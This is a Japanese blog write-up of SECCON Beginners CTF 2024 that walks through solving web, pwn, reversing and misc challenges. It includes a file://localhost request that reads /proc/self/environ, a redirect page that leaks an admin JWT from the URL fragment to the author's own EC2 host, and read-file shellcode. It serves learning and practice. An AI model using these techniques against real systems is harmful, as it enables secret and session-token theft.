2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

SECCON Beginners CTF 2024 WriteUp

Last updated at Posted at 2024-06-16

結果

Teamで解けた問題

image.png

自分が解いた順番は以下の通り

image.png

【welcome】Welcome

Point: 50 (928 Solved)

問題文

image.png

解説

問題文のとおりです。Discordの公式に答えがあります
image.png

Flag

ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}

【misc】getRank

point: 59 (368 Solved)

問題文

image.png

解説

問題サイトには数字を0~9の数字を当て、当たると1pointが入るボタンと今現在のランクを確認するボタンが存在する。
image.png

コード全体
main.ts
import fastify, { FastifyRequest } from "fastify";
import fs from "fs";

const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];

type Res = {
  rank: number;
  message: string;
};

function ranking(score: number): Res {
  const getRank = (score: number) => {
    const rank = RANKING.findIndex((r) => score > r);
    return rank === -1 ? RANKING.length + 1 : rank + 1;
  };

  const rank = getRank(score);
  if (rank === 1) {
    return {
      rank,
      message: process.env.FLAG || "fake{fake_flag}",
    };
  } else {
    return {
      rank,
      message: `You got rank ${rank}!`,
    };
  }
}

function chall(input: string): Res {
  if (input.length > 300) {
    return {
      rank: -1,
      message: "Input too long",
    };
  }

  let score = parseInt(input);
  if (isNaN(score)) {
    return {
      rank: -1,
      message: "Invalid score",
    };
  }
  if (score > 10 ** 255) {
    // hmm...your score is too big?
    // you need a handicap!
    for (let i = 0; i < 100; i++) {
      score = Math.floor(score / 10);
    }
  }

  return ranking(score);
}

const server = fastify();

server.get("/", (_, res) => {
  res.type("text/html").send(fs.readFileSync("public/index.html"));
});

server.post(
  "/",
  async (req: FastifyRequest<{ Body: { input: string } }>, res) => {
    const { input } = req.body;
    const result = chall(input);
    res.type("application/json").send(result);
  }
);

server.listen(
  { host: "0.0.0.0", port: Number(process.env.PORT ?? 3000) },
  (err, address) => {
    if (err) {
      console.error(err);
      process.exit(1);
    }
    console.log(`Server listening at ${address}`);
  }
);

ランキングの値はコード内に直で入力されているのを確認できる。

抜粋コード
const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];

つまり、1位のスコア10**255を超える必要がある。
数字当てゲームでスコアを稼ぐのは現実的でないな~となる。

ランキング計算部分のコードに以下の記述を確認できる。

抜粋コード
let score = parseInt(input);

Intにキャストされてるのが分かる(intの最大値は20億(2*10**9)くらい)

scoreの値を適当に弄ってみる。
image.png

2位にはなれた。
image.png

文字列ならでかい値にはなれる。
image.png

しかし10**255よりでかいのでハンディキャップがかかる。具体的には100桁くらい0がなくなる。つまり↑の例なら1e+156となる。

抜粋コード
  if (score > 10 ** 255) {
    // hmm...your score is too big?
    // you need a handicap!
    for (let i = 0; i < 100; i++) {
      score = Math.floor(score / 10);
    }
  }

では桁を増やせば良いかというと次は以下のケースで弾かれる。

抜粋コード
  if (input.length > 300) {
    return {
      rank: -1,
      message: "Input too long",
    };
  }

しかしparseIntには16進数文字列も渡せるのでその最大長を渡せば良い。
image.png

Infinityは10で割ってもInfinityなので制約に引っかからずにランキング1位になれる。

以下のようにscoreを書き換える。
image.png

これでフラグ獲得。
image.png

Flag

ctf4b{15_my_5c0r3_700000_b1g?}

【pwn】simpleoverflow

point: 50 (683 Solved)

問題

image.png

解説

コード全体
src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

is_adminがTrueになるときにflagが出力されることがコードから分かる。
ついでにis_adminはint型なのでint解釈可能な文字で該当領域を書き換えればよいと分かる。
asciiはint解釈可能なので適当にaを連続で入力すればOK。

image.png

Flag

ctf4b{0n_y0ur_m4rk}

【web】ssrforlfi

point: 113 (76 Solved)

問題

image.png

解説

問題サイト
image.png
?urlのクエリパラメータで指定したサイトを覗けそう。

これに関しては/proc/self/environを見たいなと言う気持ちが最初からあったのが勝因。

コード全体
app.py
mport os
import re
import subprocess
from flask import Flask, request

app = Flask(__name__)


@app.route("/")
def ssrforlfi():
    url = request.args.get("url")
    if not url:
        return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>"

    # Allow only a-z, ", (, ), ., /, :, ;, <, >, @, |
    if not re.match('^[a-z"()./:;<>@|]*$', url):
        return "Invalid URL ;("

    # SSRF & LFI protection
    if url.startswith("http://") or url.startswith("https://"):
        if "localhost" in url:
            return "Detected SSRF ;("
    elif url.startswith("file://"):
        path = url[7:]
        if os.path.exists(path) or ".." in path:
            return "Detected LFI ;("
    else:
        # Block other schemes
        return "Invalid Scheme ;("

    try:
        # RCE ?
        proc = subprocess.run(
            f"curl '{url}'",
            capture_output=True,
            shell=True,
            text=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout ;("
    if proc.returncode != 0:
        return "Error ;("
    return proc.stdout


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=4989)

コードを見るとhttphttpsで始まる場合はlocalhostにアクセスできないのでfileのschemeでlocalhostにアクセスしてホスト側の環境変数一覧を表示させたらFlagゲット。

https://ssrforlfi.beginners.seccon.games/?url=file://localhost/proc/self/environ

image.png

Flag

ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}

【reversing】assemble

point: 82 (161 Solved)

問題

image.png

解説

問題サイト
image.png

Level 1 ~ 4までの問題をクリアするとFlagを取得することができる。基本的にサイトの指示通りにアセンブリを書くとOK。

Level 1

Challenge 1. Please write 0x123 to RAX!

1. Only mov, push, syscall instructions can be used.

2. The number of instructions should be less than 25.
answer
mov rax, 0x123

Level 2

Challenge 2. Please write 0x123 to RAX and push it on stack!

1. Only mov, push, syscall instructions can be used.

2. The number of instructions should be less than 25.
answer
mov rax, 0x123
push rax

Level 3

Challenge 3. Please use syscall to print Hello on stdout!

1. Only mov, push, syscall instructions can be used.

2. The number of instructions should be less than 25.
answer
mov rax, 0x6f6c6c6548
push rax
mov eax, 1
mov edi, 1
mov rsi, rsp
mov edx, 5
syscall

raxに詰める文字列が16進数なのと、リトルエンディアン形式で入力する必要があることに注意する必要がある。

Level 3 引っかかり要素

Level 3は例えば以下のようなassemblyを書くと出力は一見成功しているような状態になるが次のレベルに進めない状態になる。

mov rax, 'o'
push rax
mov rax, 'l'
push rax
mov rax, 'l'
push rax
mov rax, 'e'
push rax
mov rax, 'H'
push rax
mov eax, 1
mov edi, 1
mov rsi, rsp
mov edx, 40
syscall

image.png

pushは8byteずつなので文字列としてみるとHelloだがバイナリで見ると

[72, 0, 0, 0, 0, 0, 0, 0, 101, 0, 0, 0, 0, 0, 0, 0, 108, 0, 0, 0, 0, 0, 0, 0, 108, 0, 0, 0, 0, 0, 0, 0, 111, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

のような状態になっており、stdoutの中身が[H, \x00, \x00, \x00, \x00, \x00, \x00, \x00, e, ...]のようになり失敗する。answer部分に書いたコードを実行すれば無事に実行できる。

Level 4

Challenge 4. Please read flag.txt file and print it to stdout!

1. Only mov, push, syscall instructions can be used.

2. The number of instructions should be less than 25.
answer
mov rax, 0x00
push rax
mov rax, 0x7478742e67616c66
push rax

mov rax, 2
mov rdi, rsp
mov rsi, 0
syscall
mov rdi, rax

mov rax, 0
mov rsi, rsp
mov rdx, 52
syscall

mov rax, 1
mov rdi, 1
mov rsi, rsp
mov rdx, 52
syscall

実行すると以下の結果が標準出力として得られる。
image.png

注意点

  • null終端を渡さないとファイル文字列の終了をプログラム側が検知できないので適切な位置に0x00を入れる必要がある。

syscallの引数の確認は以下のサイトが超見やすかった。
https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md

Flag

ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}

【misc】clamre

point: 76 (198 Solved)

問題

image.png

解説

この問題は生成AIに質問を投げている部分がありますが、公式ルールで使用の制限などはありません。(参考↓)
https://discord.com/channels/829312472346918953/1249607044911202347/1251471663942336552
image.png

今回の問題ではソースコードは見てないです。以下のシグネチャを見てそれに合致する文字列がすなわち答えとなります。

flag.ldb
ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/

まず、ChatGPTに投げます。

image.png

GPT君の返信

このClamAVのシグネチャは、ウイルスやマルウェアのパターンを識別するためのルールを定義しています。以下はシグネチャの各部分の解釈です:

ClamoraFlag:これはシグネチャの名前です。ClamAVのスキャン結果にこの名前が表示されます。

Engine:81-255:このシグネチャは、エンジンバージョン81から255までの間で有効です。ClamAVのエンジンバージョンを指定しています。

Target:0;1:ターゲットタイプを指定しています。0はファイル、1は圧縮ファイルなどを意味します。

63746634:これはシグネチャのIDです。一意の識別子として使用されます。

0/:この部分は正規表現のフラグを意味します。0はバイナリモードでのスキャンを示しています。

^((\x63\x74\x66)(4)(\x62)({B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)})$/:

これは正規表現パターンで、ウイルスやマルウェアの特定のバイナリシーケンスを検出するために使用されます。
^:行の先頭に一致。
(\x63\x74\x66):ASCIIコードでctfに一致。
(4):数字の4に一致。
(\x62):ASCIIコードでbに一致。
({B):{Bに一致。
(\x72):ASCIIコードでrに一致。
(\x33):数字の3に一致。
\3:以前にマッチしたグループ3に再度一致。
(\x6b1):k1に一致。
(\x6e\x67):ngに一致。
(\x5f):アンダースコア _ に一致。
\3:以前にマッチしたグループ3に再度一致。
(\x6c):ASCIIコードでlに一致。
\11\10:以前にマッチしたグループ11とグループ10に一致。
(\x54\x68):Thに一致。
\7\10:以前にマッチしたグループ7とグループ10に一致。
(\x480):H0に一致。
(\x75):ASCIIコードでuに一致。
(5):数字の5に一致。
\7\10:以前にマッチしたグループ7とグループ10に一致。
(\x52):ASCIIコードでRに一致。
\14\11\7:以前にマッチしたグループ14、グループ11、グループ7に一致。
(5):数字の5に一致。
}$:行の末尾に一致。
このシグネチャは、特定のバイナリパターンを検出するために使用されるClamAVのルールの一部です。正規表現は複雑で、具体的なパターンを見つけるために設計されています。

GPT君に直接生成してもらう。
image.png

「以前に一致したグループにマッチ」がうまく出来ていないようなのでそこを人力補完。GPT君にマウントを取って終了。これでFlagゲット。

image.png

Flag

ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}

【web】wooorker2

point: 98 (106 Solved)

問題

image.png

解説

自分が提出したのがwooorker2なのでwooorkerについてはざっくり説明ですが、ログインでJWTトークンを使用した認証をしているので障害報告用のページで自分の用意したページへアクセスさせてクエリパラメータについたJWTトークンを取得してメインの問題サイト側でログインするとFlagが見えるというものでした。

差分としてはそのトークンが一般的なクエリパラメータの?ではなく#で付加されると言う部分が変更点となっていました。

main.js
const loginWorker = new Worker('login.js');

function login() {
    const username = document.getElementById('username').value;
    const password = document.getElementById('password').value;
    document.getElementById('username').value = '';
    document.getElementById('password').value = '';
    loginWorker.postMessage({ username, password });
}

loginWorker.onmessage = function(event) {
    const { token, error } = event.data;
    if (error) {
        document.getElementById('errorContainer').innerText = error;
        return;
    }
    if (token) {
        const params = new URLSearchParams(window.location.search);
        const next = params.get('next');

        if (next) {
            window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;
        } else {
            window.location.href = `/#token=${token}`;
        }
    }
};

まずはwooorkerと同様の手順でリクエストさせてみます
image.png

URLにあるnextの値を自分が用意したアクセスを見る用のサーバーのドメインに変更した状態のサイトに再度アクセス。
image.png
usernameとpasswordはどちらもguestの状態でログイン。そうすると
image.png
ログインが成功した状態でJWTtokenが得られます。この時得たtokenはguestのtokenなので使用しません。成功が確認できたのでadminⅱアクセスしてもらうために障害報告用のページでlogin/?next=...を報告します。
image.png
するとややもするとアクセスが確認できます。
image.png
ただ、困ったことにtokenの値がないです。wooorkerの場合、ここでadminのtokenが?token=としてURLにくっついているのでその値を取得後、ログイン後のページの自分のURLについているtokenをadminのものと書き換えることでflagが取得できます。

では話を戻して、今回取得したい値#tokenはURLアンカーと呼ばれる形式です。なのでそれについて調べます。

この記事を参考に遷移後のページでjsを実行すれば良さそうです。
実際のコードが以下。

a.html
<html>
<script>
let abc = location.hash
window.location.href = location.hash.slice(1)
</script>
</html>

ブラウザで試すと分かるのですがwindow.location.hrefに#tokenを入れてもリダイレクトが発生しません。#を削ると遷移することを確認したので削っています。

あとはEC2か何かでサーバーを立ててhtmlを配置すれば、該当URLを用いて今までの手順で出来そうです。

今は動いていませんが実際に使ったURLは以下

login?next=http://ec2-52-194-223-74.ap-northeast-1.compute.amazonaws.com:3000/a.html

tokenをURLにつけても何故か上手くいかなかったので、取得したtokenをもとにcurlを投げてFlagゲット
/flagのサイトにアクセスしないといけない、などはコードから判断してください。

curl -X GET -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDc0MTU0LCJleHAiOjE3MTg0Nzc3NTR9.YFy2LQlnrTuyIiitP7Emp7dZXwqPRX-MSnsVqo3TcLE" https://wooorker2.beginners.seccon.games/flag

ちなみにJWTなのでトークンの「◯.◯.◯」の真ん中部分をbase64でデコードすると中身が見えるのでis_adminがTrueであるかを確認して使うと良いです。expのtimestampで有効期限もわかります。

image.png

Flag

ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}

【reversing】cha-ll-enge

point: 65 (295 Solved)

問題

image.png

解説

以下の記事を読みましょう。参考文献のリンクに公式ドキュメントへのリンクなどもあります。

コード全体
@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16
@.str = private unnamed_addr constant [14 x i8] c"Input FLAG : \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.2 = private unnamed_addr constant [22 x i8] c"Correct! FLAG is %s.\0A\00", align 1
@.str.3 = private unnamed_addr constant [16 x i8] c"Incorrect FLAG.\00", align 1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
  %1 = alloca i32, align 4
  %2 = alloca [70 x i8], align 16
  %3 = alloca [50 x i32], align 16
  %4 = alloca i32, align 4
  %5 = alloca i32, align 4
  %6 = alloca i64, align 8
  store i32 0, i32* %1, align 4
  %7 = bitcast [50 x i32]* %3 to i8*
  call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 16 %7, i8* align 16 bitcast ([50 x i32]* @__const.main.key to i8*), i64 200, i1 false)
  %8 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0))
  %9 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
  %10 = call i32 (i8*, ...) @__isoc99_scanf(i8* noundef getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* noundef %9)
  %11 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
  %12 = call i64 @strlen(i8* noundef %11) #4
  %13 = icmp eq i64 %12, 49
  br i1 %13, label %14, label %48

14:                                               ; preds = %0
  store i32 0, i32* %4, align 4
  store i32 0, i32* %5, align 4
  store i64 0, i64* %6, align 8
  br label %15

15:                                               ; preds = %38, %14
  %16 = load i64, i64* %6, align 8
  %17 = icmp ult i64 %16, 49
  br i1 %17, label %18, label %41

18:                                               ; preds = %15
  %19 = load i64, i64* %6, align 8
  %20 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 %19
  %21 = load i8, i8* %20, align 1
  %22 = sext i8 %21 to i32
  %23 = load i64, i64* %6, align 8
  %24 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %23
  %25 = load i32, i32* %24, align 4
  %26 = xor i32 %22, %25
  %27 = load i64, i64* %6, align 8
  %28 = add i64 %27, 1
  %29 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %28
  %30 = load i32, i32* %29, align 4
  %31 = xor i32 %26, %30
  store i32 %31, i32* %5, align 4
  %32 = load i32, i32* %5, align 4
  %33 = icmp eq i32 %32, 0
  br i1 %33, label %34, label %37

34:                                               ; preds = %18
  %35 = load i32, i32* %4, align 4
  %36 = add nsw i32 %35, 1
  store i32 %36, i32* %4, align 4
  br label %37

37:                                               ; preds = %34, %18
  br label %38

38:                                               ; preds = %37
  %39 = load i64, i64* %6, align 8
  %40 = add i64 %39, 1
  store i64 %40, i64* %6, align 8
  br label %15, !llvm.loop !6

41:                                               ; preds = %15
  %42 = load i32, i32* %4, align 4
  %43 = icmp eq i32 %42, 49
  br i1 %43, label %44, label %47

44:                                               ; preds = %41
  %45 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
  %46 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([22 x i8], [22 x i8]* @.str.2, i64 0, i64 0), i8* noundef %45)
  store i32 0, i32* %1, align 4
  br label %50

47:                                               ; preds = %41
  br label %48

48:                                               ; preds = %47, %0
  %49 = call i32 @puts(i8* noundef getelementptr inbounds ([16 x i8], [16 x i8]* @.str.3, i64 0, i64 0))
  store i32 1, i32* %1, align 4
  br label %50

50:                                               ; preds = %48, %44
  %51 = load i32, i32* %1, align 4
  ret i32 %51
}

コードを理解したら直で値が埋め込まれていてそこからflagを生成するロジックだと分かるので同様の処理をpythonで実装します。

exploitコード
key = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]
flag = [""]*50
for i in range(49, -1, -1):
    if i == 49:
        flag[i] = key[i]
    else:
        flag[i] = key[i]^key[i+1]
print("".join(map(chr,flag)))

これを実行してFlagゲット。

Flag

ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}

最後に

解ける問題増やせるように精進精進…

発言は個人の見解に基づくものであり、所属組織を代表するものではありません

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?